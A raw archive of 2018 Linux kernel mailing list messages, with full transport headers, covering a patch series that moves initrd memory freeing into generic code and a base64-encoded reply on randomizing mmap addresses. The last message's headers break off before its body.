> On Wed, Mar 28, 2018 at 10:58:51AM -0500, Rob Landley wrote:
>> On 03/28/2018 10:26 AM, Shea Levy wrote:
>>> Now only those architectures that have custom initrd free requirements
>>> need to define free_initrd_mem.
>> ...
>>> --- a/arch/arc/mm/init.c
>>> +++ b/arch/arc/mm/init.c
>>> @@ -229,10 +229,3 @@ void __ref free_initmem(void)
>>>  {
>>>  	free_initmem_default(-1);
>>>  }
>>> -
>>> -#ifdef CONFIG_BLK_DEV_INITRD
>>> -void __init free_initrd_mem(unsigned long start, unsigned long end)
>>> -{
>>> -	free_reserved_area((void *)start, (void *)end, -1, "initrd");
>>> -}
>>> -#endif
>>> diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
>>> index 3f972e83909b..19d1c5594e2d 100644
>>> --- a/arch/arm/Kconfig
>>> +++ b/arch/arm/Kconfig
>>> @@ -47,6 +47,7 @@ config ARM
>>>  	select HARDIRQS_SW_RESEND
>>>  	select HAVE_ARCH_AUDITSYSCALL if (AEABI && !OABI_COMPAT)
>>>  	select HAVE_ARCH_BITREVERSE if (CPU_32v7M || CPU_32v7) && !CPU_32v6
>>> +	select HAVE_ARCH_FREE_INITRD_MEM
>>>  	select HAVE_ARCH_JUMP_LABEL if !XIP_KERNEL && !CPU_ENDIAN_BE32 && MMU
>>>  	select HAVE_ARCH_KGDB if !CPU_ENDIAN_BE32 && MMU
>>>  	select HAVE_ARCH_MMAP_RND_BITS if MMU
>>
>> Isn't this why weak symbols were invented?
> 
> Weak symbols means that we end up with both the weakly-referenced code
> and the arch code in the kernel image.  That's fine if the weak code
> is small.

The kernel's been able to build with link time garbage collection since 2016:

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b67067f1176d

Wouldn't that remove the unused one?

Rob

From - Thu Nov 08 21:41:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v4 13/16] parisc: Use generic free_initrd_mem.
Date: Wed, 28 Mar 2018 16:36:56 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20180328203659.18692-14-shea@shealevy.com>
References: <20180328152714.6103-1-shea@shealevy.com>
 <20180328203659.18692-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1522269365 9846 195.159.176.226 (28 Mar 2018 20:36:05 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 28 Mar 2018 20:36:05 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        linux-parisc@vger.kernel.org
To: linux-riscv@lists.infradead.org, linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Mar 28 22:36:00 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f1Hnb-0002QK-L6
	for glk-linux-kernel-4@m.gmane.org; Wed, 28 Mar 2018 22:35:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753632AbeC1UiE (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 28 Mar 2018 16:38:04 -0400
Original-Received: from smtprelay0113.hostedemail.com ([216.40.44.113]:33486 "EHLO
        smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1753593AbeC1UiA (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 28 Mar 2018 16:38:00 -0400
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net [216.40.38.60])
        by smtprelay04.hostedemail.com (Postfix) with ESMTP id C50FB180A812C;
        Wed, 28 Mar 2018 20:37:59 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,,:::::::::::::::::::,RULES_HIT:41:355:379:541:800:960:965:966:973:988:989:1260:1345:1359:1534:1538:1566:1711:1714:1730:1747:1777:1792:1978:2196:2199:2393:2559:2562:3138:3139:3140:3141:3142:3876:3877:4321:4385:4390:4395:5007:6114:6261:6642:9592:10004:10848:11026:11473:11658:11914:12438:12555:12895:12986:13069:13311:13357:14181:14384:14394:14721:21080:21627,0,RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:ff,MSBL:0,DNSBL:neutral,Custom_rules:0:0:0,LFtime:1,LUA_SUMMARY:none
X-HE-Tag: scent32_45b78949ef92b
X-Filterd-Recvd-Size: 1565
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
        (Authenticated sender: shea@shealevy.com)
        by omf02.hostedemail.com (Postfix) with ESMTPA;
        Wed, 28 Mar 2018 20:37:59 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180328203659.18692-1-shea@shealevy.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2727931 gmane.linux.ports.parisc:28440
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2727931>

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 arch/parisc/mm/init.c | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index cab32ee824d2..3643399230f3 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -932,10 +932,3 @@ void flush_tlb_all(void)
 	spin_unlock(&sid_lock);
 }
 #endif
-
-#ifdef CONFIG_BLK_DEV_INITRD
-void free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-- 
2.16.2



From - Thu Nov 08 21:41:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Ilya Smith <blackzert@gmail.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.ia64,gmane.linux.ports.alpha,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.metag,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC PATCH v2 0/2] Randomization of address chosen by mmap.
Date: Thu, 29 Mar 2018 00:07:35 +0300
Lines: 33
Approved: news@gmane.org
Message-ID: <B26CA69E-B804-4607-9697-853DFE24C616@gmail.com>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
 <20180323124806.GA5624@bombadil.infradead.org>
 <651E0DB6-4507-4DA1-AD46-9C26ED9792A8@gmail.com>
 <20180326084650.GC5652@dhcp22.suse.cz>
 <01A133F4-27DF-4AE2-80D6-B0368BF758CD@gmail.com>
 <20180327072432.GY5652@dhcp22.suse.cz>
 <0549F29C-12FC-4401-9E85-A430BC11DA78@gmail.com>
 <CAGXu5j+XXufprMaJ9GbHxD3mZ7iqUuu60-tTMC6wo2x1puYzMQ@mail.gmail.com>
 <20180327234904.GA27734@bombadil.infradead.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Mac OS X Mail 11.2 \(3445.5.20\))
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1522271156 3376 195.159.176.226 (28 Mar 2018 21:05:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 28 Mar 2018 21:05:56 +0000 (UTC)
Cc: Kate Stewart <kstewart@linuxfoundation.org>,
 Linux MIPS Mailing List <linux-mips@linux-mips.org>,
 Rich Felker <dalias@libc.org>, Jan Kara <jack@suse.cz>,
 linux-sh <linux-sh@vger.kernel.org>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Bhupesh Sharma <bhsharma@redhat.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>, Michal Hocko <mhocko@kernel.org>,
 Linux-MM <linux-mm@kvack.org>, Paul Mackerras <paulus@samba.org>,
 Deepa Dinamani <deepa.kernel@gmail.com>, "H. Peter Anvin" <hpa@zytor.com>,
 sparclinux <sparclinux@vger.kernel.org>, linux-ia64@vger.kernel.org,
 Dan Williams <dan.j.williams@intel.com>,
 Andrea Arcangeli <aarcange@redhat.com>,
 linux-s390 <linux-s390@vger.kernel.org>,
 Yoshinori Sato <ysato@users.sourceforge.jp>,
 Michael Ellerman <mpe@ellerman.id.au>, Helge Deller <deller@gmx.de>,
 X86 ML <x86@kernel.org>, Hugh Dickins <hughd@google.com>,
 Russell King <linu
To: Matthew Wilcox <willy@infradead.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Wed Mar 28 23:05:47 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f1IGQ-0000iQ-Mc
	for gla-linux-snps-arc@m.gmane.org; Wed, 28 Mar 2018 23:05:46 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:To:References:Message-Id:Date:
	In-Reply-To:From:Subject:Mime-Version:Reply-To:Content-ID:Content-Description
	:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=gtoeS3FDljCxBNlPgu9eH0EQJgrL2sTUQNkPuvadFLQ=; b=IAg/pBmlasqldz
	mKzBm7aRLtSYag71w9y41Vkmhxiy8WXE2a/A4R9j3VBwWmquz5WdcNUr3fIeL/5zLD+Ev6IvBZ+mZ
	X9g+LBcdURTpPXjYLwp8WLXduwtJXANsvRVCK/siGrdODAAKitqbAK0eBaLjWLp9Vn+Yos2Eafuze
	tMYDTerWXW6AHmKNrPI7bg+zXb+H+UFONMefZ7glZXksRsTGojwq4wAY8wLaeKxFXGudoP+th12jT
	RiI3xgb6KtNFD2+zksaGXidzx4Uqs7UsvHZCxzxZmjqO2K+OdI39Tc3hszTpfhRFF4iD0a+6nWPmV
	z+BWpopF8cWicU+jvU3w==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f1IIT-00046k-Km; Wed, 28 Mar 2018 21:07:53 +0000
Original-Received: from mail-lf0-x241.google.com ([2a00:1450:4010:c07::241])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f1IIR-00043m-5u
 for linux-snps-arc@lists.infradead.org; Wed, 28 Mar 2018 21:07:52 +0000
Original-Received: by mail-lf0-x241.google.com with SMTP id x205-v6so5475383lfa.0
 for <linux-snps-arc@lists.infradead.org>; Wed, 28 Mar 2018 14:07:39 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=mime-version:subject:from:in-reply-to:date:cc
 :content-transfer-encoding:message-id:references:to;
 bh=gSdQ8bDJLYxkIO2LyMkuzz2AhJ5BbuKQbcUo1PkL9uY=;
 b=u/S518fjnCaX6ouRyq2F6i1toimymrPzbTSCmatqcxyrVEnt53oy8+2lukgMfn/Blo
 FPneh8uOWLD8lG/0OP+uO1BhON1La5k/dX/Wcin5kRciFoe4vpqWv9350c6X9zoP2HtU
 AZznvK6iHhvu8DA4VS2mPo6inRWz72jnqMtEaZZjcmkVRd41PnSk/YamKq58h9OxiIHQ
 Fbst7mykA451FlY+KrId7K25jPzJQPTU3pDV9GiNBO2uL69vqujwlEG+csgu4wnput22
 VCLztps3Qy3rSiC9zrFs0COGoETqSRq/YepKSnn+76BgOHthSOog0MNzhsuV8TVIH1Tg
 ew6A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:subject:from:in-reply-to:date:cc
 :content-transfer-encoding:message-id:references:to;
 bh=gSdQ8bDJLYxkIO2LyMkuzz2AhJ5BbuKQbcUo1PkL9uY=;
 b=qOMeTSOIQPZ2ZGh/OkULYw0sb9uPhazynmFzjGkZ60qXxwy148rOnD7fTZPRC3zwAX
 d3uN9NqBaGVQJY3hG+W9TT/8KiqJRAElmoOGaRcz8+XDHo6oksshLKc2tQ5PBh/x9qMN
 rDBKVENI4jxdONvxF0NtTFwneit+ITff79Xr0+ISTYi4/ZEFUI0w/QMcdG2Jl4WSxdiR
 S/F9Al224OcybmtQsFx5OctraygGdtV02y2YrBsEEOaBZpmHv4JQB68808NE1VMQSH/r
 OF/Hw5igt5bfB2v1pRTaDbCGu5KpQdw3d7I7ve09CJIK01VOxKEuzJJYih2fq9Gh4aVO
 NULw==
X-Gm-Message-State: ALQs6tCkr6JIwCEZ8cD4mlo+fzhf5VnqB6/6N0ozipMWpMX0+njJwMYt
 R6tGYm/XSjqABSSb8TnV0tU=
X-Google-Smtp-Source: AIpwx4/0JxPIzdyUgfGRtAIsGVbq+iLSCXKyhprvdig4GawcLZ87AtQu2mueObpWLwig0ZMmDsnS5w==
X-Received: by 10.46.156.207 with SMTP id g15mr1023532ljj.95.1522271257773;
 Wed, 28 Mar 2018 14:07:37 -0700 (PDT)
Original-Received: from [192.168.1.3] (broadband-188-255-70-164.moscow.rt.ru.
 [188.255.70.164])
 by smtp.gmail.com with ESMTPSA id p22sm749663ljg.39.2018.03.28.14.07.35
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Wed, 28 Mar 2018 14:07:36 -0700 (PDT)
In-Reply-To: <20180327234904.GA27734@bombadil.infradead.org>
X-Mailer: Apple Mail (2.3445.5.20)
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180328_140751_222623_1EA13765 
X-CRM114-Status: GOOD (  16.39  )
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2a00:1450:4010:c07:0:0:0:241 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (blackzert[at]gmail.com)
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3698 gmane.linux.ports.mips.general:64273 gmane.linux.ports.sh.devel:56764 gmane.linux.kernel.mm:192531 gmane.linux.ports.sparc:27500 gmane.linux.ports.ia64:28767 gmane.linux.ports.alpha:4897 gmane.linux.ports.parisc:28441 gmane.linux.kernel:2727954 gmane.linux.kernel.metag:1735 gmane.linux.ports.ppc64.devel:155426
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3698>

Cj4gT24gMjggTWFyIDIwMTgsIGF0IDAyOjQ5LCBNYXR0aGV3IFdpbGNveCA8d2lsbHlAaW5mcmFk
ZWFkLm9yZz4gd3JvdGU6Cj4gCj4gT24gVHVlLCBNYXIgMjcsIDIwMTggYXQgMDM6NTM6NTNQTSAt
MDcwMCwgS2VlcyBDb29rIHdyb3RlOgo+PiBJIGFncmVlOiBwdXNoaW5nIHRoaXMgb2ZmIHRvIGxp
YmMgbGVhdmVzIGEgbG90IG9mIHRoaW5ncyB1bnByb3RlY3RlZC4KPj4gSSB0aGluayB0aGlzIHNo
b3VsZCBsaXZlIGluIHRoZSBrZXJuZWwuIFRoZSBxdWVzdGlvbiBJIGhhdmUgaXMgYWJvdXQKPj4g
bWFraW5nIGl0IG1haW50YWluYWJsZS9yZWFkYWJsZS9ldGMuCj4+IAo+PiBUaGUgc3RhdGUtb2Yt
dGhlLWFydCBmb3IgQVNMUiBpcyBtb3ZpbmcgdG8gZmluZXIgZ3JhbnVsYXJpdHkgKG92ZXIKPj4g
anVzdCBiYXNlLWFkZHJlc3Mgb2Zmc2V0KSwgc28gSSdkIHJlYWxseSBsaWtlIHRvIHNlZSB0aGlz
IHN1cHBvcnRlZCBpbgo+PiB0aGUga2VybmVsLiBXZSdsbCBiZSBnZXR0aW5nIHRoZXJlIGZvciBv
dGhlciB0aGluZ3MgaW4gdGhlIGZ1dHVyZSwgYW5kCj4+IEknZCBsaWtlIHRvIGhhdmUgYSB3b3Jr
aW5nIHByb2R1Y3Rpb24gZXhhbXBsZSBmb3IgcmVzZWFyY2hlcnMgdG8KPj4gc3R1ZHksIGV0Yy4K
PiAKPiBPbmUgdGhpbmcgd2UgbmVlZCBpcyB0byBsaW1pdCB0aGUgZnJhZ21lbnRhdGlvbiBvZiB0
aGlzIGFwcHJvYWNoLgo+IEV2ZW4gb24gNjQtYml0IHN5c3RlbXMsIHdlIGNhbiBlYXNpbHkgZ2V0
IGludG8gYSBzaXR1YXRpb24gd2hlcmUgdGhlcmUgaXNuJ3QKPiBzcGFjZSB0byBtYXAgYSBjb250
aWd1b3VzIHRlcmFieXRlLgoKQXMgSSB3cm90ZSBiZWZvcmUsIHNoaWZ0X3JhbmRvbSBpcyBpbnRy
b2R1Y2VkIHRvIGJlIGZyYWdtZW50YXRpb24gbGltaXQuIEV2ZW4gCndpdGhvdXQgaXQsIHRoZSBt
YWluIHF1ZXN0aW9uIGhlcmUgaXMg4oCYaWYgd2UgY2Fu4oCZdCBhbGxvY2F0ZSBtZW1vcnkgd2l0
aCBOIHNpemUgCmJ5dGVzLCBob3cgbWFueSBieXRlcyB3ZSBhbHJlYWR5IGFsbG9jYXRlZD/igJku
IEZyb20gdGhlc2UgcG9pbnQgb2YgdmlldyBJIAphbHJlYWR5IHNob3dlZCBpbiBwcmV2aW91cyB2
ZXJzaW9uIG9mIHBhdGNoIHRoYXQgaWYgYXBwbGljYXRpb24gdXNlcyBub3Qgc28gYmlnIAptZW1v
cnkgYWxsb2NhdGlvbnMsIGl0IHdpbGwgaGF2ZSBlbm91Z2ggbWVtb3J5IHRvIHVzZS4gSWYgaXQg
dXNlcyBYWCBHaWdhYnl0ZXMgCm9yIFRlcmFieXRlcyBtZW1vcnksIHRoaXMgYXBwbGljYXRpb24g
aGFzIGFsbCBjaGFuY2VzIHRvIGJlIGV4cGxvaXRlZCB3aXRoIApmdWxseSByYW5kb21pemF0aW9u
IG9yIHdpdGhvdXQuIFNpbmNlIGl0IGlzIG11Y2ggZWFzaWVyIHRvIGZpbmQob3IgZ3Vlc3MpIGFu
eSAKdXNhYmxlIHBvaW50ZXIsIGV0Yy4gRm9yIHRoZSBpbnN0YW5jZSB5b3UgaGF2ZSBvbmx5IDEy
OCB0ZXJhYnl0ZXMgb2YgbWVtb3J5IGZvciAKdXNlciBzcGFjZSwgc28gcHJvYmFiaWxpdHkgdG8g
ZXhwbG9pdCB0aGlzIGFwcGxpY2F0aW9uIGlzIDEvMTI4IHdoYXQgaXMgbm90IApzZWN1cmUgYXQg
YWxsLiBUaGlzIGlzIHZlcnkgcm91Z2ggZXN0aW1hdGUgYnV0IEkgdHJ5IHRvIG1ha2UgdGhpbmdz
IGVhc2llciB0byAKdW5kZXJzdGFuZC4KCkJlc3QgcmVnYXJkcywKSWx5YQoKCgpfX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXwpsaW51eC1zbnBzLWFyYyBtYWls
aW5nIGxpc3QKbGludXgtc25wcy1hcmNAbGlzdHMuaW5mcmFkZWFkLm9yZwpodHRwOi8vbGlzdHMu
aW5mcmFkZWFkLm9yZy9tYWlsbWFuL2xpc3RpbmZvL2xpbnV4LXNucHMtYXJj


From - Thu Nov 08 21:41:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Russell King - ARM Linux <linux@armlinux.org.uk>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Extract initrd free logic from arch-specific code.
Date: Wed, 28 Mar 2018 23:14:01 +0100
Lines: 61
Approved: news@gmane.org
Message-ID: <20180328221401.GA14084@n2100.armlinux.org.uk>
References: <20180325221853.10839-1-shea@shealevy.com>
 <20180328152714.6103-1-shea@shealevy.com>
 <05620fee-e8b5-0668-77b8-da073dc78c40@landley.net>
 <20180328164813.GA3888@n2100.armlinux.org.uk>
 <de092e7f-0bc9-bb06-9798-12784930a6bd@landley.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1522275231 12827 195.159.176.226 (28 Mar 2018 22:13:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 28 Mar 2018 22:13:51 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: linux-mips@linux-mips.org, linux-sh@vger.kernel.org,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Linus Walleij <linus.walleij@linaro.org>, Will Deacon <will.deacon@arm.com>,
 Paul Mackerras <paulus@samba.org>, Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Christoph Hellwig <hch@infradead.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>, Matt Turner <mattst88@gmail.com>,
 Eugeniy Paltsev <Eugeniy.Paltsev@synopsys.com>,
 uclinux-h8-devel@lists.sourceforge.jp,
 Vladimir Murzin <vladimir.murzin@arm.com>, Marc Zyngier <marc.zyngier@arm.com>,
 adi-buildroot-devel@lists.sourceforge.net, Al Viro <viro@zeniv.linux.org.uk>,
 Thomas Gleixner <tglx@linutronix.de>, Richard Henderson <rth@twiddle.net>,
 linux-cris-kernel@axis.com, Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 linux-kernel@vger.kerne
To: Rob Landley <rob@landley.net>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Thu Mar 29 00:13:38 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f1JJy-0002sW-98
	for gla-linux-snps-arc@m.gmane.org; Thu, 29 Mar 2018 00:13:32 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=im6eBNoLN8sJoeINblQuxwBG+MYWEvTDfpP356YKkAY=; b=tGsVYspHaAVDjH
	1X7QYBH2N0/yozSsAXExCY5sT6ud5sipnsl44MyaZFv29tkEVg6cxjeTkWxpy7Sp9mRCUvP5tirFw
	i/6LyvO3MHg4B7LTK0sauRoRzV1nqPa/XBB5twPleUUiOEeoqPpuzKvm7lK+ATGUl6PZcWX3mFpVf
	0RhISQS6bzAMQ1l76CJ8oSi/CW6vj5YcuVTmlPmq8vL17RdQ2ZM4EJGBkGYKddje30WyEI8eUvLu1
	Lwm/JclmfxO6bCcCHmE3R2gDHqctmrYcEhoUQ8pe92K7Jd45Ij0Z0xgaHfmV7OylKE7ftQMA7pHIa
	0ECnItYdcLsNP3Y2G6pA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f1JM1-0004YK-1X; Wed, 28 Mar 2018 22:15:37 +0000
Original-Received: from pandora.armlinux.org.uk
 ([2001:4d48:ad52:3201:214:fdff:fe10:1be6])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f1JLw-0004W2-JW
 for linux-snps-arc@lists.infradead.org; Wed, 28 Mar 2018 22:15:35 +0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=armlinux.org.uk; s=pandora-2014; 
 h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date;
 bh=R6l9I6PvsGbX3NE2xRpmi4yASMm+0pIHUA/D+Vv+P84=; 
 b=gbjR2kk0bv40X9QfjiyNwJUX+5CjStVha/r8BvT9SY4wV5HUGisePY5s6tPYBYEm0VGPJySPFzIPt/PqVBHN/X6+NGAqj7OwAN0i64GlJcfzglZnIuB0Z9JyJv4qZwv6GBbe2N1ntc/rREwqT2LeBvoTBHZ0VqO3lC+PdYPTz7k=;
Original-Received: from n2100.armlinux.org.uk
 ([2001:4d48:ad52:3201:214:fdff:fe10:4f86]:58110)
 by pandora.armlinux.org.uk with esmtpsa (TLSv1.2:AES128-GCM-SHA256:128)
 (Exim 4.82_1-5b7a7c0-XX) (envelope-from <linux@armlinux.org.uk>)
 id 1f1JKe-00047U-9W; Wed, 28 Mar 2018 23:14:12 +0100
Original-Received: from linux by n2100.armlinux.org.uk with local (Exim
 4.82_1-5b7a7c0-XX) (envelope-from <linux@n2100.armlinux.org.uk>)
 id 1f1JKW-0004AT-2Q; Wed, 28 Mar 2018 23:14:04 +0100
Content-Disposition: inline
In-Reply-To: <de092e7f-0bc9-bb06-9798-12784930a6bd@landley.net>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180328_151533_309984_036C1710 
X-CRM114-Status: GOOD (  19.85  )
X-Spam-Score: -2.4 (--)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-2.4 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -2.3 RCVD_IN_DNSWL_MED      RBL: Sender listed at http://www.dnswl.org/, medium
 trust [2001:4d48:ad52:3201:214:fdff:fe10:1be6 listed in]
 [list.dnswl.org]
 -0.0 T_RP_MATCHES_RCVD      Envelope sender domain matches handover relay
 domain
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
